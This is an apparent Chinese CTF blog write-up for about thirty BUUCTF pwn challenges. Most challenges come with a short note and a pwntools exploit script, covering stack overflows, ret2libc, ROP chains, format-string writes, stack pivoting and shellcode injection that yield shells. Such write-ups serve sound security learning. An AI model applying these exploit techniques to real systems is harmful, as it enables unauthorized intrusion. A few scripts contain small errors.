BUU第一页wp

过程较为简略,以后有机会会慢慢完善

1.test_your_nc

nc连接后直接给出shell

2.rip

checksec发现为64位文件,开启了NX保护

主函数中存在栈溢出

发现后门函数,直接栈溢出到后门函数获取shell。

由于是64位,加入ret进行栈对齐。

exp

from pwn import *
io=process('pwn1')
ret=0x0000000000401016 
backdoor=0x401186
payload=b'a'*(0xf+8)+p64(ret)+p64(backdoor)
io.sendline(payload)
io.interactive()

3.warmup_csaw_2016

checksec发现为64位文件,未开启任何保护

主函数存在栈溢出

发现后门函数。

栈溢出到后门函数,直接将flag打印出来了。

exp

from pwn import *
io=process('warmup_csaw_2016')
ret=0x00000000004004a1 
backdoor=0x40060d
payload=b'a'*(0x40+8)+p64(backdoor)
io.sendline(payload)
io.interactive()

4.ciscn_2019_n_1

 checksec发现为64位文件,开启了NX保护。

func函数中存在栈溢出且存在system函数,可直接获取flag。

通过栈溢出将v2覆盖位0x41348000即可获取shell。

exp

from pwn import *
io = process("./ciscn_2019_n_1")
payload = b'A'*(0x30-0x4) + p64(0x41348000)
io.sendline(payload)
io.interactive()

5.pwn1_sctf_2016

32位,开启了NX保护。

 发现是用C++写的文件,

后门函数

vuln函数中,会将输入的I转化为三字节的you可以实现栈溢出

exp

from pwn import*
io=remote("node3.buuoj.cn",27491)
flag=0x8048f0d
payload=b'I'*20+b'aaaa'+p32(flag)
io.sendline(payload)
io.interactive()

6.jarvisoj_level0

64位,NX保护

存在栈溢出

后门函数

exp

from pwn import *
io=process('level0')
ret=0x0000000000400431
payload=b'a'*(0x88)+p64(ret)+p64(0x400596)
io.sendline(payload)
io.interactive()

7.[第五空间2019 决赛]PWN5

32位开启了canary和NX保护

在主函数中发现system("/bin/sh")

8.jarvisoj_level2

32位,开启了NX保护。

存在system函数,/bin/sh字符串与栈溢出。

可构造payload。

exp

from pwn import *
io=process('level2')
elf=ELF('level2')
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh\x00'))
io.recv()
payload=b'a'*(0x88+4)+p32(sys)+p32(0)+p32(sh)
io.sendline(payload)
io.interactive()

9.ciscn_2019_n_8

32位,保护全开

观察主函数,发现system("/bin/sh")

我们需要将var[13]改为17

exp

from pwn import *
io=process('ciscn_2019_n_8')
payload=p32(0x11)*14
io.sendline(payload)
io.interactive()

10.ciscn_2019_c_1

64位,NX保护。

主函数未发现漏洞,点进encrypt(),

存在栈溢出。

选择1进入漏洞函数。

注意strlen()函数,使用\x00截断,接着使用ret2libc的方法解决。

exp

from pwn import *
from LibcSearcher import *
#io=remote('node5.buuoj.cn',26263)
io=process('ciscn_2019_c_1')
elf=ELF('ciscn_2019_c_1')
rdi=0x400c83
ret=0x4006b9
io.recv()
io.sendline(b'1')
io.recv()
payload=b'\x00'+b'a'*(0x50+8-1)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x4009a0)
io.sendline(payload)
io.recvline()
io.recvline()
puts_got=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(puts_got))
#libc=LibcSearcher('puts',puts_got)
#base=puts_got-libc.dump('puts')
#sys=base+libc.dump('system')
#sh=base+libc.dump(b'str_bin_sh')

libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=puts_got-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload1=b'\x00'+b'a'*(0x50+8-1)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload1)
io.interactive()

11.bjdctf_2020_babystack

64位NX保护

存在整数溢出漏洞。

发现后门函数。

exp

from pwn import*
io=process('bjdctf_2020_babystack')
ret=0x0000000000400561
#io=remote('node5.buuoj.cn',28290)
#gdb.attach(io)
#pause()
shell_addr=0x4006e6
io.sendline('100')
payload=b'a'*(0x10+8)+p64(ret)+p64(shell_addr)
io.sendline(payload)
io.interactive()

12。get_started_3dsctf_2016

32位NX保护

主函数存在栈溢出,

发现可以打印flag的函数。

由于程序为静态编译,需要返回到exit()才能正常回显。

exp

from pwn import*
io=remote('node5.buuoj.cn',25760)
#io=process('get_started_3dsctf_2016')
exit=0x0804e6a0
payload=b'a'*(0x38)+p32(0x80489a0)+p32(exit)+p32(0x308CD64F)+p32(0x195719D1)
io.sendline(payload)
io.interactive()

或者可以使用mprotext函数

exp

from pwn import *
io=remote('node5.buuoj.cn',25760)
#io=process('./get_started_3dsctf_2016')
elf=ELF('./get_started_3dsctf_2016')
pop3_ret=0x0806fc08
mprotect=elf.symbols['mprotect']
read=elf.symbols['read']
payload=b'a'*(0x38)+p32(mprotect)+p32(pop3_ret)+p32(0x080Ec000)+p32(0x1000)+p32(0x7)+p32(read)+p32(pop3_ret)+p32(0)+p32(0x080Ec000)+p32(0x1000)+p32(0x080Ec000)
io.sendline(payload)
payload1= asm(shellcraft.sh())
io.sendline(payload1)
io.interactive()

13.jarvisoj_level2_x64

 64为Nx保护

存在/bin/sh字符串,

exp

from pwn import*
#io=remote('node5.buuoj.cn',25760)
io=process('level2_x64')
elf=ELF('level2_x64')
ret=0x4004a1
rdi=0x4006b3
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh'))
payload=b'a'*(0x88)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload)
io.interactive()

14.[HarekazeCTF2019]baby_rop

64位NX保护

有system,有/bin/sh,

exp

from pwn import*
#io=remote('node5.buuoj.cn',25760)
io=process('babyrop')
elf=ELF('babyrop')
ret=0x400479
rdi=0x400683
sys=elf.sym['system']
sh=next(elf.search(b'/bin/sh'))
payload=b'a'*(0x18)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload)
io.interactive()

15.[OGeek2019]babyrop

32位NX保护。

主函数

需要使用\x00绕过,并使buf[7]大于E7,才能进行栈溢出。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('rop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('rop')
main=0x8048825
payload=b'\x00'+b'\xff'*7
io.sendline(payload)
io.recv()
payload1=b'a'*(0xE7+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
io.sendline(payload)
io.recv()
payload2=b'a'*(0xE7+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()

16.others_shellcode

nc连接,直接获得shell

17.ciscn_2019_n_5

保护全关,考虑shellcode

两个栈溢出点,可以先将shellcode写入name,再在gets上ret到name。

exp

from pwn import*
#r=process('ciscn_2019_n_5')
r=remote('node5.buuoj.cn',26703)
context(arch='amd64',os='linux')
ret=0x4004c9
gdb.attach(r)
pause()
shellcode=asm(shellcraft.sh())
r.sendlineafter('tell me your name',shellcode)
payload=b'a'*0x28+p64(0x601080)
r.sendlineafter('What do you want to say to me?',payload)
r.interactive()

18.ciscn_2019_en_2

该题跟ciscn_2019_c_1一模一样

19.not_the_same_3dsctf_2016

32位NX保护

静态编译,直接mprotext()函数,改变权限

exp

from pwn import*
io=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8
shellcode=asm(shellcraft.sh())
payload  =b'a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)
payload +=p32(read_addr)+p32(p3_ret)
payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
io.sendline(payload)
io.sendline(shellcode)
io.interactive()

20.ciscn_2019_ne_5

32位,NX保护

主函数中密码已给出。

可以在1中写入payload,然后在4中栈溢出,system函数已给出,可以使用ROPgadget找到sh

exp

from pwn import*
io=process('ciscn_2019_ne_5')
#io=remote('node5.buuoj.cn',25448)
elf=ELF('ciscn_2019_ne_5')
sys=elf.sym['system']
sh=0x080482ea

io.recv()
io.sendline(b'administrator')
io.recv()
io.sendline(b'1')
payload1=b'a'*(0x48+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload1)
io.recv()
io.sendline(b'4')
io.interactive()

21.铁人三项(第五赛区)_2018_rop

32位,NX保护。

普通的ret2libc。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('2018_rop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('2018_rop')
main=0x80484c6
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()

22.bjdctf_2020_babyrop

64位NX保护。

普通的ret2libc。

exp

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'amd64', log_level='debug')
io=process('bjdctf_2020_babyrop')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('bjdctf_2020_babyrop')
main=0x4006ad
ret=0x4004c9
rdi=0x400733
#gdb.attach(io)
#pause()
payload1=b'a'*(0x28)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(main)
io.sendline(payload1)
puts_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=puts_ad-libc.sym['puts']
print(hex(base))
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x28)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()

23.bjdctf_2020_babystack2

64位NX保护

主函数存在整数溢出和栈溢出漏洞

发现后门函数

打本地注意栈对齐。

exp

from pwn import *
io=process('bjdctf_2020_babystack2')
#io=remote('node5.buuoj.cn',27991)
backdoor=0x400726
gdb.attach(io)
pause()
ret=0x400599
io.recv()
io.sendline(b'-1')
io.recv()
payload=b'a'*(0x18)+p64(ret)+p64(backdoor)
io.sendline(payload)
io.interactive()

24.jarvisoj_fm

32位NX和canary保护

根据主函数可知,我们需要让x等于4来获取shell。

并且主函数中存在格式化字符串漏洞,我们可以通过利用格式化字符串修改x的值

查看偏移

exp

from pwn import *
io=process('fm')
#io=remote('node5.buuoj.cn',27991)
x=0x804A02C
payload=p32(x)+b'%11$n'
io.sendline(payload)
io.interactive()

25.jarvisoj_tell_me_something

64位NX保护

主函数栈溢出,未发现system函数,

存在后门函数,直接栈溢出,

但要注意该栈未push ebp,所以栈溢出使不用加8

exp

from pwn import *
io=process('guestbook')
flag=0x400620
payload=b'a'*(0x88)+p64(flag)
io.sendline(payload)
io.interactive()

26.ciscn_2019_es_2

32位NX保护

栈溢出只能覆盖ret,考虑栈迁移,存在system函数。

exp

from pwn import *
io=process("ciscn_2019_es_2")
sys=0x8048400
leave_ret=0x08048562
#gdb.attach(io,'b *0x80485F9')
#pause()

io.recvuntil("Welcome, my friend. What's your name?")
payload=b'a'*0x20+b'b'*8
io.send(payload)
io.recvuntil("bbbbbbbb")
ebp=u32(io.recv(4))
payload2=b'a'*4+p32(sys)+p32(0xdeadbeef)+p32(ebp-0x28)+b"/bin/sh\x00"
payload2=payload2.ljust(0x28,b'\x00')
payload2+=p32(ebp-0x38)+p32(leave_ret)
io.send(payload2)
io.interactive()

27.[HarekazeCTF2019]baby_rop2

64位NX保护

主函数存在栈溢出,可以使用ret2libc。要注意printf函数的调用

exp

from pwn import *
io=process("babyrop2")
elf=ELF('babyrop2')
rdi=0x400733
ret=0x4004d1
main=0x400636
#fom=0x400758
fom=0x400770
rsi_r15=0x400731
gdb.attach(io)
pause()
#payload=b'a'*(0x28)+p64(rdi)+p64(elf.got['read'])+p64(elf.sym['printf'])+p64(elf.sym['main'])
payload=b'a'*(0x28)+p64(rdi)+p64(fom)+p64(rsi_r15)+p64(elf.got['read'])+p64(0)+p64(elf.sym['printf'])+p64(ret)+p64(elf.sym['main'])
io.sendline(payload)

read_ad=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
base=read_ad-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh\x00'))
print(hex(base))
payload2=b'a'*(0x28)+p64(ret)+p64(rdi)+p64(sh)+p64(sys)
io.sendline(payload2)
io.interactive()

28.pwn2_sctf_2016

32位NX保护

exp

from struct import pack
from LibcSearcher import *
from pwn import *
pwn="./pwn2_sctf_2016"
#p=remote("node4.buuoj.cn",26699)
p=process(pwn)
elf=ELF(pwn)
p.sendlineafter("read? ",b'-1')
payload = b'a'*0x30 + p32(elf.plt['printf']) + p32(elf.sym['main']) + p32(0x80486F8) +  p32(elf.got['printf'])
p.sendlineafter("bytes of data!\n",payload)
p.recvline()
p.recvuntil("You said: ")
printf_addr=u32(p.recv(4))
#libc=ELF("./libc-2.23.so")
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
libcbase=printf_addr-libc.sym['printf']
sys_addr=libcbase+libc.sym['system']
bin_sh=libcbase+next(libc.search(b'/bin/sh\x00'))
p.sendlineafter("read? ",b'-1')
payload = b'a'*0x30 + p32(sys_addr)+b'aaaa'+p32(bin_sh)
p.sendlineafter("bytes of data!\n",payload)
p.recvline()
p.interactive()

29.picoctf_2018_rop chain

32位NX保护

vuln函数中存在栈溢出

 

使 win1,win2等于1,并使a1等于0xDEADBAAD则可获得flag

exp

from pwn import *
io=remote("node3.buuoj.cn",26602)
win_function1=0x080485CB
win_function2=0x080485D8
flag=0x0804862B
payload=b"a"*0x1c
payload+=p32(win_function1)
payload+=p32(win_function2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD)
r.sendlineafter("input> ",payload)
io.interactive()

30.jarvisoj_level3

32位NX保护

经典栈溢出

from pwn import *
from LibcSearcher import *
context(os = 'linux', arch = 'i386', log_level='debug')
io=process('level3')
#io=remote('node5.buuoj.cn',26377)
elf=ELF('level3')
main=0x8048484
payload1=b'a'*(0x88+4)+p32(elf.plt['write'])+p32(main)+p32(1)+p32(elf.got['read'])+p32(4)
io.sendline(payload1)
read_got=u32(io.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
'''
libc=LibcSearcher('read',read_got)
base=read_got-libc.dump('read')
sys=base+libc.dump('system')
sh=base+libc.dump('str_bin_sh')
'''
libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
base=read_got-libc.sym['read']
sys=base+libc.sym['system']
sh=base+next(libc.search(b'/bin/sh'))
payload2=b'a'*(0x88+4)+p32(sys)+b'aaaa'+p32(sh)
io.sendline(payload2)
io.interactive()

31.ciscn_2019_s_3

64位NX保护

该题给出的函数很少,可以考虑ret2csu来进行系统调用

要注意的是,由于glibc版本不同,本题本地跟远程的偏移不一样。

from pwn import *
p = remote('node5.buuoj.cn',26219)
elf = ELF('ciscn_s_3')
rax_3b = 0x4004E2
rdi = 0x4005a3
rsi_r15 = 0x4005a1
rbx_rbp_r12_r13_r14_r15 = 0x40059A
r13_rdx = 0x400580
syscall = 0x400517
payload = b'a'*0x10 + p64(elf.sym['vuln'])
p.sendline(payload)
p.recv(0x20)
binsh = u64(p.recv(6).ljust(8, b'\x00')) - 0x118
payload = b'/bin/sh\x00'
payload = payload.ljust(0x10, b'a')
payload += p64(rbx_rbp_r12_r13_r14_r15) + p64(0) + p64(1) + p64(binsh + 0x50) + p64(0)*3
payload += p64(r13_rdx)
payload += p64(rdi) + p64(binsh)
payload += p64(rax_3b)
payload += p64(syscall)
p.sendline(payload)
p.interactive()

32.ez_pz_hackover_2016

32位保护全关

先写入crashme\x00绕过,写入shellcode,进入vuln函数栈溢出,覆盖ret到shellcode

from pwn import *
from LibcSearcher import *
io= process('./ez_pz_hackover_2016')
#io= remote('node5.buuoj.cn',25412)
elf = ELF('ez_pz_hackover_2016')
io.recvuntil('crash: ')
s_ad=int(io.recv(10), 16)
shellcode=asm(shellcraft.sh())
payload=b'crashme\x00'+b"a"*18+p32(s_ad-0x1c)+shellcode
io.sendline(payload)
io.interactive()

  • 8
    点赞
  • 10
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值